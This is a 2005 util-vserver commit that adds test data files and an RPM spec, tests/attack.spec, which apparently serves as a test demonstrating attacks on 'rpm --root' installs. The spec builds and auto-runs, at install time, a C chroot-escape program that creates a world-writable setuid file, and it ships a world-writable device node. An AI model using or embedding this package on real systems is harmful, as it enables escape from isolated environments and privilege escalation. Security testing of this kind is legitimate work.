added to be removed...
authorEnrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
Sat, 19 Mar 2005 02:16:33 +0000 (02:16 +0000)
committerEnrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
Sat, 19 Mar 2005 02:16:33 +0000 (02:16 +0000)
git-svn-id: http://svn.linux-vserver.org/svn/util-vserver/trunk@1943 94cd875c-1c1d-0410-91d2-eb244daf1a30

util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style [new file with mode: 0644]
util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude [new file with mode: 0644]
util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude [new file with mode: 0644]
util-vserver/src/testsuite/vuname/nodename [new file with mode: 0644]
util-vserver/sysv/vkillall [new file with mode: 0755]
util-vserver/tests/attack.spec [new file with mode: 0644]
util-vserver/tests/ulimit/cpu [new file with mode: 0644]

diff --git a/util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style b/util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style
new file mode 100644 (file)
index 0000000..8e9ab21
--- /dev/null
@@ -0,0 +1 @@
+redhat
diff --git a/util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude b/util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude
new file mode 100644 (file)
index 0000000..7868af9
--- /dev/null
@@ -0,0 +1,3 @@
+/var
++/etc/termcap
+/etc/*
diff --git a/util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude b/util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude
new file mode 100644 (file)
index 0000000..a788427
--- /dev/null
@@ -0,0 +1 @@
+/root/.bash_history
diff --git a/util-vserver/src/testsuite/vuname/nodename b/util-vserver/src/testsuite/vuname/nodename
new file mode 100644 (file)
index 0000000..e12a13e
--- /dev/null
@@ -0,0 +1 @@
+sysname_x
diff --git a/util-vserver/sysv/vkillall b/util-vserver/sysv/vkillall
new file mode 100755 (executable)
index 0000000..86b0a68
--- /dev/null
@@ -0,0 +1,6 @@
+#!/bin/sh
+# chkconfig: - 27 73
+# description: Stops unhandled vservers
+
+
+
diff --git a/util-vserver/tests/attack.spec b/util-vserver/tests/attack.spec
new file mode 100644 (file)
index 0000000..cd062e3
--- /dev/null
@@ -0,0 +1,44 @@
+Summary:       Demonstrates attacks against 'rpm --root ...' operations
+Name:          chroot-attack
+Version:       0.1
+Release:       1
+Epoch:         0
+License:       GPL
+Group:         Applications/System
+BuildRoot:     %_tmppath/%name-%version-%release-root
+BuildRequires: dietlibc
+
+%description
+
+%prep
+%setup -q -c -T
+
+cat <<EOF >chroot-attack.c
+#include <fcntl.h>
+int main() {
+       chdir("/");
+       chroot("%_bindir");
+       chdir("../../..");
+       umask(0);
+       open("got-you", O_CREAT|O_WRONLY, 04777);
+       return 0;
+}
+EOF
+
+%build
+diet -Os %__cc $RPM_OPT_FLAGS chroot-attack.c -o chroot-attack
+
+%install
+rm -rf $RPM_BUILD_ROOT
+%__install -D -m0755 chroot-attack $RPM_BUILD_ROOT%_bindir/chroot-attack
+
+%clean
+rm -rf $RPM_BUILD_ROOT
+
+
+%post -p %_bindir/chroot-attack
+
+%files
+%defattr(-,root,root,-)
+%_bindir/*
+%attr(0777, root,root) %dev(c, 3, 0) /mydev
diff --git a/util-vserver/tests/ulimit/cpu b/util-vserver/tests/ulimit/cpu
new file mode 100644 (file)
index 0000000..0cfbf08
--- /dev/null
@@ -0,0 +1 @@
+2